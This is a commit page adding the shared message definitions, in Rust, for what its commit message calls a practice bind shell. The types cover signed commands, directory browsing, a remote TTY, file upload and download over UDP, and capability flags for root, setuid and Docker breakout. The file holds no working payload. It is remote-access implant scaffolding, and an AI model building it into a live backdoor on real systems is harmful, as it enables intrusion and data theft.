feat: adding a bind shell example with more stuff
adding a bind shell that can allow for more practice with future features such as multiple transports, encryption, transferring files, and a more robust client interface
This commit is contained in:
93
sparse-05/sparse-05-common/src/lib.rs
Normal file
93
sparse-05/sparse-05-common/src/lib.rs
Normal file
@@ -0,0 +1,93 @@
|
||||
pub const CONFIG_SEPARATOR: &'static [u8] =
|
||||
b"79101092eb6a40268337875896f1009da0af4fe4ae0d4c67834c54fe735f1763";
|
||||
|
||||
pub mod messages {
|
||||
pub const CONNECT_MESSAGE: &'static [u8] = b"CONNECT";
|
||||
|
||||
use std::{ffi::OsString, path::PathBuf};
|
||||
|
||||
use ed25519_dalek::Signature;
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
pub struct CommandWrapper {
|
||||
sig: Signature,
|
||||
command: Vec<u8>,
|
||||
}
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
pub enum Command {
|
||||
SendData(Vec<u8>),
|
||||
|
||||
Cd(PathBuf),
|
||||
Ls(PathBuf),
|
||||
|
||||
OpenTTY,
|
||||
CloseTTY,
|
||||
|
||||
StartUploadFile(PathBuf, u64),
|
||||
SendFileSegment(u64, u64, Vec<u8>),
|
||||
|
||||
StartDownloadFile(PathBuf, u64),
|
||||
DownloadFileStatus(Result<(), Vec<u8>>),
|
||||
}
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
pub enum FileType {
|
||||
File,
|
||||
Dir,
|
||||
Symlink(PathBuf),
|
||||
Fifo,
|
||||
Socket,
|
||||
Block,
|
||||
Char,
|
||||
}
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
pub struct UnixMetadata {
|
||||
pub mode: u32,
|
||||
pub uid: u32,
|
||||
pub gid: u32,
|
||||
pub ctime: i64,
|
||||
pub mtime: i64,
|
||||
}
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
pub struct DirEntry {
|
||||
pub name: OsString,
|
||||
pub size: u64,
|
||||
pub unix: Option<UnixMetadata>,
|
||||
}
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
pub enum Response {
|
||||
Connected(Capabilities),
|
||||
SendData(Vec<u8>),
|
||||
|
||||
CdDone,
|
||||
LsResults(Vec<DirEntry>),
|
||||
|
||||
OpenedTTY,
|
||||
ClosedTTY,
|
||||
|
||||
UploadFileID(u64),
|
||||
UploadFileStatus(Result<(), Vec<u8>>),
|
||||
|
||||
DownloadFileSegment(u64, u64, Vec<u8>),
|
||||
}
|
||||
|
||||
#[derive(Serialize, Deserialize, Debug)]
|
||||
pub enum TransportType {
|
||||
RawUdp,
|
||||
Udp,
|
||||
}
|
||||
|
||||
#[derive(Serialize, Deserialize, Debug)]
|
||||
pub struct Capabilities {
|
||||
pub docker_container: bool,
|
||||
pub docker_breakout: bool,
|
||||
pub setuid: bool,
|
||||
pub root: bool,
|
||||
pub transport: TransportType,
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user